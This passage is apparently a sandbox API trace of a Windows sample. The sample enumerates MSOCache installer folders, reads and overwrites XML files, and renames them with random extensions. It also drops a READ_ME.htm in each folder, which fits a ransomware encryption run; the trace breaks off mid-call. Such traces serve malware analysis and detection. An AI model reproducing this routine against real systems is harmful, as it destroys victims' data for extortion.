GetFileType (hFile=0x1d0) returned 0x1 [0134.336] SetErrorMode (uMode=0x0) returned 0x1 [0134.336] GetFileType (hFile=0x1d0) returned 0x1 [0134.336] WriteFile (in: hFile=0x1d0, lpBuffer=0x2880858*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2880858*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.337] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.337] SetErrorMode (uMode=0x1) returned 0x0 [0134.337] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce2ab890, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce2ab890, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd2457360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bafe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3d24d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xe3d24d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24c51f60, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x24c51f60, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.349] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.349] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.350] SetErrorMode (uMode=0x0) returned 0x1 [0134.350] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.351] SetErrorMode (uMode=0x1) returned 0x0 [0134.351] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce2ab890, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xce2ab890, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd2457360, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bafe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0134.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3d24d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xe3d24d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0134.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24c51f60, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x24c51f60, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0134.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.353] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.354] SetErrorMode (uMode=0x0) returned 0x1 [0134.354] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0134.354] SetErrorMode (uMode=0x1) returned 0x0 [0134.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.355] GetFileType (hFile=0x1d0) returned 0x1 [0134.355] SetErrorMode (uMode=0x0) returned 0x1 [0134.355] GetFileType (hFile=0x1d0) returned 0x1 [0134.355] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x4ce [0134.356] ReadFile (in: hFile=0x1d0, lpBuffer=0x2884430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2884430*, lpNumberOfBytesRead=0x21d4d8*=0x4ce, lpOverlapped=0x0) returned 1 [0134.371] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0134.372] SetErrorMode (uMode=0x1) returned 0x0 [0134.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.373] GetFileType (hFile=0x1d0) returned 0x1 [0134.373] SetErrorMode (uMode=0x0) returned 0x1 [0134.373] GetFileType (hFile=0x1d0) returned 0x1 [0134.373] WriteFile (in: hFile=0x1d0, lpBuffer=0x2966de0*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2966de0*, lpNumberOfBytesWritten=0x21d478*=0x4d0, lpOverlapped=0x0) returned 1 [0134.375] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml", lpFilePart=0x0) returned 0x4e [0134.375] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml.s6qkht", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml.s6qkht", lpFilePart=0x0) returned 0x55 [0134.375] SetErrorMode (uMode=0x1) returned 0x0 [0134.375] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x24c51f60, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0x24c51f60, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4caee320, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4d0)) returned 1 [0134.375] SetErrorMode (uMode=0x0) returned 0x1 [0134.376] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\InfoPathMUI.xml.s6qkht" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\infopathmui.xml.s6qkht")) returned 1 [0134.376] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.377] SetErrorMode (uMode=0x1) returned 0x0 [0134.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.395] GetFileType (hFile=0x1d0) returned 0x1 [0134.395] SetErrorMode (uMode=0x0) returned 0x1 [0134.395] GetFileType (hFile=0x1d0) returned 0x1 [0134.395] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x703 [0134.395] ReadFile (in: hFile=0x1d0, lpBuffer=0x2969168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2969168*, lpNumberOfBytesRead=0x21d4d8*=0x703, lpOverlapped=0x0) returned 1 [0134.459] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.459] SetErrorMode (uMode=0x1) returned 0x0 [0134.460] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.461] GetFileType (hFile=0x1d0) returned 0x1 [0134.461] SetErrorMode (uMode=0x0) returned 0x1 [0134.461] GetFileType (hFile=0x1d0) returned 0x1 [0134.461] WriteFile (in: hFile=0x1d0, lpBuffer=0x284c200*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x284c200*, lpNumberOfBytesWritten=0x21d478*=0x710, lpOverlapped=0x0) returned 1 [0134.462] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.463] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml.wqgmxy", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml.wqgmxy", lpFilePart=0x0) returned 0x4f [0134.463] SetErrorMode (uMode=0x1) returned 0x0 [0134.463] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x41b31680, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x41b31680, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4cbd2b60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x710)) returned 1 [0134.463] SetErrorMode (uMode=0x0) returned 0x1 [0134.463] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\Setup.xml.wqgmxy" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\setup.xml.wqgmxy")) returned 1 [0134.464] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.464] SetErrorMode (uMode=0x1) returned 0x0 [0134.464] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0044-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.464] GetFileType (hFile=0x1d0) returned 0x1 [0134.464] SetErrorMode (uMode=0x0) returned 0x1 [0134.464] GetFileType (hFile=0x1d0) returned 0x1 [0134.465] WriteFile (in: hFile=0x1d0, lpBuffer=0x2851040*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2851040*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.466] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.466] SetErrorMode (uMode=0x1) returned 0x0 [0134.466] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.468] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1fbc030, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ca36, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.cab", cAlternateFileName="")) returned 1 [0134.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc86a00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdc86a00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.msi", cAlternateFileName="")) returned 1 [0134.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf06d040, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdf06d040, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.xml", cAlternateFileName="")) returned 1 [0134.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.469] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.469] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.469] SetErrorMode (uMode=0x0) returned 0x1 [0134.469] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.470] SetErrorMode (uMode=0x1) returned 0x0 [0134.470] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb87a4fc0, 